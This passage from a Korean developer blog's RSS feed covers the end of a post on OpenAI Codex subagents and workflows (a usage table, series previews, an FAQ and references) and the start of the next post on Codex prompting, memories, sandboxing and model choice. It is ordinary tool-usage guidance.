&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 정리 및 실전 적용 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PKNR9/dJMcai4hBQZ/TCc7XtkAE8ttOikoRb6pwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PKNR9/dJMcai4hBQZ/TCc7XtkAE8ttOikoRb6pwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PKNR9/dJMcai4hBQZ/TCc7XtkAE8ttOikoRb6pwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPKNR9%2FdJMcai4hBQZ%2FTCc7XtkAE8ttOikoRb6pwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2112&quot; height=&quot;1154&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 언제 서브에이전트를 쓸 것인가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;마지막 사용 판단표&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;권장 행동&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;탐색&amp;middot;문제 분류&amp;middot;요약 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;읽기 전용이면 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대부분 읽기 전용이라 충돌이 적다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR(코드 변경 요청) 다각도 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;관점별 역할이 분명할 때 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안, 버그, 테스트를 따로 볼 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대용량 문서 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;범위를 나눠 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;큰 내용을 나눠 읽고 요약만 합칠 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;동일 파일 동시 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;초보자는 피함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;같은 줄을 고치면 충돌 정리가 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단순 단일 파일 편집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;메인 스레드에서 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;나눠 맡기는 비용이 더 클 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 정리하면 이렇다. 읽고 분석해 요약을 돌려주는 작업은 병렬 서브에이전트에 맡기고, 파일을 직접 고치는 단순 작업은 메인 스레드에서 처리하는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 다음 편 예고&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 편에서 서브에이전트에게 역할별 지시를 줬다면, 그 지시를 파일로 굳혀 팀 전체가 재사용하는 법이 Part 4의 주제다.&lt;/p&gt;
&lt;ul style=&quot;margin: 6px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;Constraints 블록을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;로 옮기면 매 프롬프트마다 반복하지 않아도 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;전역 규칙 &amp;middot; 저장소 규칙 &amp;middot; 폴더별 규칙을 어떻게 나눌지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Karpathy 4원칙을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; 템플릿으로 만들어 바로 쓰는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3f0ff; border: 1px solid #d0bfff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘 해부한 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-rescue&lt;/code&gt;처럼 에이전트를 플러그인으로 만들어 배포하는 법을 다룬다. 오케스트레이터 패턴이 외부 서비스(Slack, GitHub, Jira)와 연결되면 사람 없이 돌아가는 워크플로가 된다.&lt;/p&gt;
&lt;ul style=&quot;margin: 6px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버로 Codex가 외부 API를 직접 호출하게 만들기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;superpowers 같은 마켓플레이스 플러그인 구조 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이번 편에서 만든 TOML 에이전트를 스킬로 패키징하는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 시리즈 네비게이션 박스 (본문 끝) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 3: Subagents &amp;middot; Workflows (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 병행 사용 패턴 (예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- SEO FAQ: visible questions matched to FAQPage JSON-LD --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex subagent는 언제 쓰면 좋은가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;파일 범위가 넓거나 역할이 분명히 나뉘는 작업에 유용하다. 예를 들어 한 에이전트는 코드 탐색, 다른 에이전트는 테스트 전략, 또 다른 에이전트는 문서 검토를 맡길 수 있다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모든 작업을 subagent로 나누는 것이 좋은가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;아니다. 작은 수정이나 한 파일 안에서 끝나는 작업은 오히려 직접 처리하는 편이 빠르다. subagent는 조율 비용보다 병렬 처리 이점이 클 때 쓰는 것이 맞다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Workflow를 만들 때 가장 중요한 기준은 무엇인가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;작업 단계를 탐색, 구현, 검증, 정리처럼 검증 가능한 단위로 나누는 것이다. 각 단계의 산출물과 완료 기준이 분명해야 다음 단계에서 맥락 손실이 줄어든다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Subagents 개념 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Workflows 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Models 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI Slash Commands 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Config Reference&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Pricing 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Sandbox 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Prompting 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://help.openai.com/en/articles/11369540-using-codex-with-your-chatgpt-plan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex ChatGPT 플랜 도움말&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 30px 0 10px 0; font-size: 14px; color: #495057;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026년 5월 6일&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 대상&lt;/b&gt;: OpenAI Codex (2026년 5월 기준 공식 문서)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 2026년 5월 기준으로 작성되었다. 이후 변경될 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>chatgpt codex 사용방법</category>
      <category>ChatGPT Codex 사용법</category>
      <category>chatgpt 사용 방법</category>
      <category>codex 강의</category>
      <category>codex 기본</category>
      <category>codex 기초</category>
      <category>codex 기초 강의</category>
      <category>codex 사용방법</category>
      <category>Codex 사용법</category>
      <category>GPT Codex</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/598</guid>
      <comments>https://goddaehee.tistory.com/598#entry598comment</comments>
      <pubDate>Mon, 11 May 2026 01:23:48 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(2) : OpenAI Codex 핵심 개념 4가지 - Prompting, Memories, Sandboxing, Models</title>
      <link>https://goddaehee.tistory.com/597</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- SEO structured data: BlogPosting + BreadcrumbList + FAQPage --&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-3-core-concepts.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex 핵심 개념 4가지: Prompting, Memories, Sandboxing, Models&quot;,
      &quot;description&quot;: &quot;Codex를 제대로 쓰기 위해 알아야 할 프롬프트, 메모리, 샌드박스, 모델 개념과 실전 판단 기준을 공식 문서 기반으로 초보자도 이해하기 쉽게 정리합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-3-core-concepts.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-3-core-concepts.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-07&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;Codex Prompting&quot;,
        &quot;Codex Memories&quot;,
        &quot;Codex Sandboxing&quot;,
        &quot;Codex Models&quot;,
        &quot;AGENTS.md&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-3-core-concepts.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Codex 핵심 개념&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-3-core-concepts.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-3-core-concepts.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Codex에서 좋은 프롬프트는 무엇이 다른가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;좋은 프롬프트는 목표, 맥락, 제약, 완료 기준을 함께 준다. 이렇게 쓰면 Codex가 추측으로 범위를 넓히기보다 검증 가능한 작업 단위로 움직이기 쉽다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Memories와 AGENTS.md는 같은 기능인가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;역할이 다르다. Memories는 개인 작업 패턴이나 이전 대화에서 배운 내용을 돕고, AGENTS.md는 저장소 안에서 팀 규칙과 작업 기준을 공유하는 지침 파일에 가깝다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;앞선 글에서 다룬 샌드박스를 왜 다시 다루는가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;앞선 글은 처음에 어떤 안전 설정으로 시작할지를 다뤘고, 이 글은 이번 작업을 Codex에게 어디까지 맡겨도 되는지 판단하는 법을 다룬다. 샌드박스는 외울 옵션 목록이 아니라, Codex가 읽기만 할지, 프로젝트 안에서 수정까지 할지, 더 넓은 권한이 필요한지를 정하는 안전 울타리다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;프롬프트, AGENTS.md, 메모리에는 각각 무엇을 넣어야 하나?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;이번 작업에만 적용되는 조건은 프롬프트에 둔다. 팀이 반복해서 지켜야 하는 빌드, 테스트, 리뷰 규칙은 AGENTS.md에 둔다. 개인 작업 습관이나 이전 대화에서 배운 패턴은 메모리가 보조하도록 두는 편이 좋다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;처음에는 어떤 샌드박스와 승인 정책이 무난한가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;일반적인 로컬 개발 작업은 workspace-write와 on-request 조합이 무난하다. 낯선 저장소를 읽기만 할 때는 read-only로 시작하고, danger-full-access는 격리된 환경에서 정말 필요한 경우에만 쓴다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;모델은 항상 가장 강한 것을 고르면 되는가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;그렇지 않다. 큰 리팩토링, 복잡한 원인 분석, 넓은 코드 이해에는 강한 모델과 높은 reasoning effort가 유리하지만, 작은 반복 수정이나 단순 정리에는 더 가벼운 모델이 비용과 속도 면에서 낫다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVeT0U/dJMcadhCttc/vaXZAdQrl7T1N7b17kNhFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVeT0U/dJMcadhCttc/vaXZAdQrl7T1N7b17kNhFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVeT0U/dJMcadhCttc/vaXZAdQrl7T1N7b17kNhFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVeT0U%2FdJMcadhCttc%2FvaXZAdQrl7T1N7b17kNhFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2672&quot; height=&quot;1504&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex를 처음 써본 뒤 &quot;명령이 뜻대로 안 된다&quot;거나 &quot;같은 실수를 반복한다&quot;는 느낌이 든 적이 있다면, 꼭 도구 탓만은 아닐 수 있다. Codex가 무엇을 읽고, 어떤 기준으로 판단하고, 어디까지 실행하는지 모른 채 맡겼을 가능성이 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 Codex를 제대로 쓰기 위해 먼저 알아야 할 네 가지 &amp;mdash; &lt;b&gt;프롬프트(Prompting), 메모리(Memories), 샌드박스(Sandboxing), 모델(Models)&lt;/b&gt; &amp;mdash; 를 공식 문서를 바탕으로 정리한다.&lt;/p&gt;
&lt;!-- 버전 고지 박스 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #6c757d;&quot;&gt;이 글은 &lt;b&gt;2026년 5월&lt;/b&gt; 기준 공식 문서(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex&lt;/a&gt;)를 바탕으로 작성되었다. 기능은 지속 업데이트되므로 최신 정보는 공식 문서에서 확인한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #6c757d;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hc0Ad/dJMcadomEyX/uLK2P5ueRhCNoROTNMPgt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hc0Ad/dJMcadomEyX/uLK2P5ueRhCNoROTNMPgt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hc0Ad/dJMcadomEyX/uLK2P5ueRhCNoROTNMPgt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHc0Ad%2FdJMcadomEyX%2FuLK2P5ueRhCNoROTNMPgt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;1174&quot; 